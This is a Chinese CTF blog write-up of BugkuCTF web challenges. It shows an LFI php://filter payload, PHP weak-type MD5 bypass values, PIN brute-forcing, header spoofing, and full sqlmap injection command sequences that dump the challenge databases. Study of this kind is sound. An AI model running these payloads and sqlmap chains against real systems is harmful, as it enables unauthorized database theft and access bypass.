2019-03-13 BugkuCTF Writeup之Web(Web4——这是一个神奇的登录框)

Web4

考察查看网页源代码和escape编码的解码

提示“看看源代码吧”,所以看了一下源代码,发现一段JavaScript脚本。不过这段脚本好像是错的,所以直接运行的话运行不了。

把它稍微改一改就可以运行了,运行后得到一段JavaScript代码,当然也可以选择不运行,直接解码那些内容,也可以得到这些代码。

这段代码如下:

function checkSubmit(){
    var a=document.getElementById("password");
    if("undefined"!=typeof(a){
         if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
         return 0;
         alert("Error");
         a.focus();
         return 1;
    }
}
document.getElementById("levelQuest").onsubmit=checkSubmit; 

大概意思就是:定义一个函数checkSubmit,要求传入a,如果a的值不等于67d709b2b54aa2aa648cf6e87a7114f1,就弹框“error”,如果正确的话应该就拿到flag。

关于这段代码的含义可以参考一下我的JavaScript笔记,虽然有些我还没学到,不过大概意思可以看得懂。

在输入框中输入“”67d709b2b54aa2aa648cf6e87a7114f1”,得到flag。

flag在index里

考察使用PHP内部协议读取网页源代码

打开看到一个链接。

点进去一看只有test5,但是发现了“file=show.php”。

这道题是在做了HGAME2019的week2之后做的。有了做HGAME的经验很容易就知道这是一个文件包含漏洞,可以通过PHP内置协议直接暴露index.php的源代码。

构造?file=php://filter/read=convert.base64-encode/resource=index.php

成功暴露源代码。

用hackbar插件进行BASE64解码得到flag。

输入密码查看flag

考察使用Burp Suite爆破

提示密码为五位数字,所以考虑爆破(题目链接也提示了要爆破……)。

抓包。

设置Positions和Payloads。

开始爆破,密码为13579时返回信息有变化,查看响应得到flag。

点击一百万次

考察查看网页源代码和POST请求提交数据

提示了JavaScript,打开网页源代码果然看到了JavaScript代码。

大概意思就是当clicks大于等于1000000时就会得到flag,所以用hackbar直接post:clicks=1000000,拿到flag。

备份是个好习惯

考察.bak文件和代码审计。

打开之后只有两串一样的MD5,而且都是空密码。

卡在这里很久,后来突然知道了.bak文件,于是尝试打开index.php.bak。

后缀名为bak的文件是备份文件,修改了原文件的内容后,保存了修改后的内容,那么修改前的内容会自动保存为后缀名为bak的备份文件(前提是设置了备份功能),如果想查看或者恢复修改前的内容,就需要用到bak文件。
(来自百度知道)

果然有这个文件:

下载下来之后用记事本打开,发现一些php代码:

查看代码后发现要求传入key1和key2两个参数,要求值不同而MD5加密后相同。由于只有两个等号所以考虑用弱类型绕过。

但是,str_replace('key','',$str)这一句会过滤掉key,所以构造一个双写来绕过。

综合起来Payload就是:?kekeyy1=QNKCDZO&kkeyey2=s1885207154a

提交一下得到flag。

成绩单

最基本的SQL注入题,用sqlmap做或者手动都可以。我这里是用了sqlmap。

方法是post,参数是id。

检测注入点:

python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1"

找到了注入点,也就是id。

接下来就是按照套路来:

爆库:

python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1" --dbs

可以看到有两个数据库,flag应该在skctf_flag里。

爆表:

python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1" -D skctf_flag --tables

flag应该在fl4g这个表里。

爆字段名:

python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1" -D skctf_flag -T fl4g --columns

只有一个字段,那这个肯定就是flag了。

爆字段:

python sqlmap.py -u "http://123.206.87.240:8002/chengjidan/" --data="id=1" -D skctf_flag -T fl4g -C skctf_flag --dump

拿到了flag。

秋名山老司机

做这道题需要写具有自动读取、计算、自动提交功能的Python脚本。因为需要用正则表达式匹配算式,还要有自动请求和自动提交功能,所以要用到re库和request库。

打开刷新几下会出现这样的提示,即要传入名为value的变量,value的值如果是答案的话就可以得到flag。

两秒的话肯定不能手算,就用写脚本的方法来解决。思考了一下写出来的脚本应该有这样的功能:

1.请求给定的url;2.提取页面中的文字信息;3.将文字信息中的算式提取出来;4.计算这个算式并且得到结果;5.自动提交结果。

而且整个脚本的运行时间不能大于两秒(虽然Python比C慢,但是这个一般都没问题吧……)。

因为算式在<div></div>里,所以可以直接上正则提取出它们之间的东西,再去等号和问号变成纯算式,再用eval()函数计算结果。不用正则的话,用BeautifulSoup也可以。

根据前面所想的功能编写脚本:

ps:自己刚学Python四天,接触正则表达式的时间更短,代码力还不行,写出来的正则表达式总是报错或者匹配不出来,所以正则表达式提取<div></div>之间的算式那一句参考了别人的写法,自己只是加上了过滤等号和问号的部分。

import re
import requests
url = 'http://123.206.87.240:8002/qiumingshan/'
s = requests.Session()     #使用Session参数是为了防止提交答案时算式更新
r = s.get(url)     #提取页面信息
b = re.findall(r'<div>(.*)=\?;</div>',r.text,re.S)[0]     #正则表达式提取<div></div>之间的算式
result = eval(b)     #计算算式得到结果
post = {'value': result}     #提交结果
print(s.post(url, data = post).text)

执行脚本之后有一定几率拿到flag,不知道为什么不可以100%成功。

总结:正则表达式真难……

其余的目前还没有全部做完,做完了的如下图所示,没做完的那些等以后做完再新开一篇文章补上。

never give up

考察view-source查看网页源代码和escape编码的解码

页面里没什么有用的信息,查看网页源代码发现一条注释:

访问了一下这个页面,发现跳转到了Bugku的首页,那么这个1p.html的网页源代码里肯定有信息,使用view-source查看即可。

发现一串编码过的字符,下面的unescape()函数提示这是escape编码:

这段JS应该是可以执行的,不过我还没试,反正执行也是解码,就直接解码了。

解码,发现解码出来的信息里有个f4l2a3g.txt,应该就是flag所在的页面。

这段文字Urldecode之后应该还能出现信息,不过访问了f4l2a3g.txt之后就拿到flag了,也没想那么多。

拿到flag。

前女友(SKCTF)

最简单的PHP弱类型利用

查看网页源代码发现链接,打开链接看到代码。

要求传入v1,v2,v3三个参数,其中v1和v2的值不同但MD5加密后的值相同,v3(数组或字符串)与flag的值不同。

考虑到PHP弱类型:PHP在处理MD5加密后的字符串时,它把每一个以“0e”开头的值都解释为0^e(就是0),所以如果两个不同的字符串经过MD5加密以后,都是以“0e”开头的,那么PHP将会认为他们相同。所以构造v1=QNKCDZO&v2=240610708&v3[]=1,提交得到flag。

login1(SKCTF)

考察基于约束的SQL攻击。

在前几天翻大佬们的博客时看到过这道题的wp,不过当时没仔细看,结果刚看完就做到这道题了……

百度了一下“SQL约束攻击”,读完这篇文章之后有了解题思路:https://www.freebuf.com/articles/web/124537.html

打开页面,如果随便注册的话会提示不是admin拿不到flag。

所以,根据上面那篇文章中提到的,为了入侵admin的账户,使用admin加随意多的空白符注册即可:

注册成功后使用刚才注册的用户名登录:

拿到flag:

你从哪里来

考察的是请求头中Referer参数的使用。

打开链接看到一句话:

本以为是要在请求头中添加X-Forwarded-For:(谷歌的ip地址),但是试过了发现没有用。考虑到请求头中的Referer参数的作用是:代表当前访问URL的上一个URL,也就是说,用户是从什么地方来到本页面(摘自《Web安全深度剖析》),使用Hackbar中的Referer功能设置Referer参数的值为“https://www.google.com”,发送请求得到flag。

md5 collision(NUPT_CTF)

考察利用PHP弱类型绕过md5验证。

什么提示也没有,只有input a,联想到题目叫md5碰撞,应该是利用弱类型绕过md5验证。

用QNKCDZO试了下发现不行。

换了另一个md5加密后0e开头的,得到flag。

程序员本地网站

考察的是请求头中的X-Forwarded-For参数。

本地,也就是127.0.0.1。

在请求头中添加“X-Forwarded-For: 127.0.0.1”,发送请求得到flag。

各种绕过

很基础的代码审计,考察数组绕过sha1()函数、URL二次解码绕过

要提交三个参数:uname、passwd、id。其中uname和id是GET方式提交,passwd是POST方式提交。要求uname和passwd在sha1()函数加密后相等,但是这里是用全等于判断的,所以不能用弱类型绕过。

id在urldecode之后要等于margin,所以需要构造一个URL二次解码绕过。

构造如下:

提交一下得到flag。

细心

考察查看robots.txt

打开一看发现一个意义不明的404页面,于是想到看robots.txt。

打开之后果然有了发现。

进去一看,说不是管理员,ip被记录了(而且还把我的ip暴露出来了)。

同时还发现底下有一句代码。

提示说想办法变成admin。一般来说提示不是管理员都是改Cookie,但是既然底下有这句代码,那么就先传入?x=admin试试。

还真行,拿到flag了。

这个页面里的ip和时间应该都是其他师傅的,往下翻了翻还看到了自己的ip和时间,囧。

而且这个flag居然不是花括号,搞得我以为这里有坑,还要改成花括号或者这就是个假flag,结果直接交上去就对了,果然是我想太多了……

这是一个神奇的登陆框

考察SQL注入,用sqlmap轻松搞定。

进去一看是个登录页面,而且题目地址也写了“sql”,那应该是sql注入。

随便写点什么提交一下,发现提交方式是post,请求主体是“admin_name=admin&admin_passwd=123&submit=GO+GO+GO”

通过前面测试DVWA的漏洞和做一些sql注入题,我已经知道接下来是sqlmap出场的时间了(笑)。

先找一下注入点:

python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch

注入点是admin_name。

爆库:

python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch --dbs

发现了两个数据库。flag应该在第一个数据库里。

爆表:

python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch -D bugkusql1 --tables

有两个表。flag应该在flag1里。

爆字段名:

python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch -D bugkusql1 -T flag1 --columns

这应该就是flag了。

最后爆字段:

python sqlmap.py -u "http://123.206.87.240:9001/sql/" --data="admin_name=admin&admin_passwd=123&submit=GO+GO+GO" --batch -D bugkusql1 -T flag1 -C flag1 --dump

这串MD5应该就是flag。

加上flag{}格式,就得到真正的flag。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 160,165评论 4 364
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,720评论 1 298
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 109,849评论 0 244
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,245评论 0 213
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,596评论 3 288
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,747评论 1 222
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,977评论 2 315
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,708评论 0 204
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,448评论 1 246
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,657评论 2 249
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,141评论 1 261
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,493评论 3 258
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,153评论 3 238
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,108评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,890评论 0 198
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,799评论 2 277
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,685评论 2 272

推荐阅读更多精彩内容